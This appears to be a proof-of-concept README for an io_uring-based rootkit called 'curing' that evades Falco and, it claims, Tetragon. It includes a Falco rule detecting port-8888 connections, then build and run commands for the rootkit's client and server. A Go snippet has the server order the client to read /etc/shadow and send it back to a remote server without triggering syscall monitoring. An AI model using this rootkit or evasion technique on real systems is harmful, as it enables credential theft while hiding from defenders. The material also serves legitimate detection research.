As a POC, we will bypass Falco by running the latest version Falco on the machine with the following rules:
- Detect any TCP connection attempts to port 8888
- Detect access to /etc/shadow
Let's start by running Falco on the machine where curing is running.
To run Falco, we will use the following command:
docker run --rm -i -t --name falco --privileged \
-v $(pwd)/falco_custom_rules.yaml:/etc/falco/falco_rules.local.yaml \
-v /var/run/docker.sock:/host/var/run/docker.sock \
-v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro \
-v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro \
falcosecurity/falco-no-driver:0.39.2 falcoThe falco_custom_rules.yaml file contains the following rule to detect any TCP connection attempts to port 8888 (detecting access to /etc/shadow is built-in):
- rule: TCP Connection to Port 8888
desc: Detect any TCP connection attempts to port 8888
condition: >
evt.type=connect and
evt.dir=< and
fd.type=ipv4 and
fd.sport=8888 and
fd.l4proto=tcp
output: >
TCP connection to port 8888 detected
(process=%proc.name
command=%proc.cmdline
connection=%fd.name
container=%container.info
user=%user.name)
priority: NOTICE
tags: [network]To show that Falco is working, we ran nc to connect to port 8888 and access /etc/shadow:
Falco-simple-detection.mp4
We can see that Falco detected the connection to port 8888 and access to /etc/shadow as expected.
To bypass Falco, we will run the curing client and server.
To build the curing client and server, we will use the following commands:
make allTo run the curing server, we will use the following command:
./build/serverTo control the server port, edit the server.port in cmd/config.json, the default port is 8888.
To run the curing client, we will use the following command:
./build/clientIt will read the cmd/config.json file to connect to the server so be sure to edit the details in the file.
For the sake of this POC, the server is just going to send one command to the client to read /etc/shadow and send it back to the server.
commands := []common.Command{
common.ReadFile{Id: "read shadow", Path: "/etc/shadow"},
}You can edit the commands in the pkg/server.go file.
The curing rookit is using io_uring to connect to the server and to read the file /etc/shadow, this means that "0" syscalls (which are related to the attack) are made and Falco will not detect the attack.
Falco-bypassing.mp4
As we can see, Falco is not detecting the attack because the attack is not using any syscalls that Falco is monitoring, of course the server ip should be non localhost to actually prove the bypass.
In this POC, we bypassed Falco by using io_uring to connect to the server and read the file /etc/shadow. This means that Falco is not able to detect the attack because the attack is not using any syscalls that Falco is monitoring, this attack technique is also bypassing other security tools that are monitoring syscalls such as Tetragon by Cilium.